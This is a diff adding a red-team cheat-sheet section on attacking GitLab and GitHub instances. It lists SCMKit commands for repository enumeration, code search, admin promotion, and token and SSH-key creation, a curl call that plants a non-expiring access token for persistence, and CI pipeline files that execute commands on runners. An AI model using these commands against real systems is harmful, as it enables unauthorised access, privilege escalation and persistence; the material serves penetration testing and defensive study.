+## Enumeration
+
+
+Using [SCMKit - Source Code Management Attack Toolkit](https://github.com/xforcered/SCMKit)
+
+* Discover repositories being used in a particular SCM system
+    ```ps1
+    SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local
+    SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local
+    ```
+* Search for repositories by repository name in a particular SCM system
+    ```ps1
+    SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"
+    SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"
+    ```
+* Search for code containing a given keyword in a particular SCM system
+    ```ps1
+    SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"
+    SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"
+    ```
+* Search for files in repositories containing a given keyword in the file name in a particular SCM system
+    ```ps1
+    SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"
+    SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"
+    ```
+* List snippets owned by the current user in GitLab
+    ```ps1
+    SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local
+    SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local
+    ```
+* List all GitLab runners available to the current user in GitLab
+    ```ps1
+    SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local
+    SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local
+    ```
+* Get the assigned privileges to an access token being used in a particular SCM system
+    ```ps1
+    SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local
+    ```
+* Promote a normal user to an administrative role in a particular SCM system
+    ```ps1
+    SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName
+    SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName
+    SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName
+    ```
+* Create/List/Delete an access token to be used in a particular SCM system
+    ```ps1
+    SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName
+    SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName
+    SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID
+    SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser
+    SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser
+    ```
+* Create/List an SSH key to be used in a particular SCM system
+    ```ps1
+    SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"
+    SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"
+    SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local
+    SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local
+    SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID
+    SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID
+    ```
+
+## Personal Access Token
+
+Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance.
+
+```ps1
+curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens"
+```
+
+## Exploit Gitlab CI/Github Actions
+
+* Gitlab-CI "Command Execution" example: `.gitlab-ci.yml`
+    ```yaml
+    stages:
+        - test
+
+    test:
+        stage: test
+        script:
+            - |
+                whoami
+        parallel:
+            matrix:
+                - RUNNER: VM1
+                - RUNNER: VM2
+                - RUNNER: VM3
+        tags:
+            - ${RUNNER}
+    ```
+* Github Action "Command Execution" example: `.github/workflows/example.yml`
+    ```yml
+    name: example
+    on:
+      workflow_dispatch:
+      push:
+        branches: [ main ]
+      pull_request:
+        branches: [ main ]
+
+    jobs:
+      build:
+        runs-on: windows-2019
+
+        steps:
+          - name: Execute
+            run: |
+              whoami
+    ```
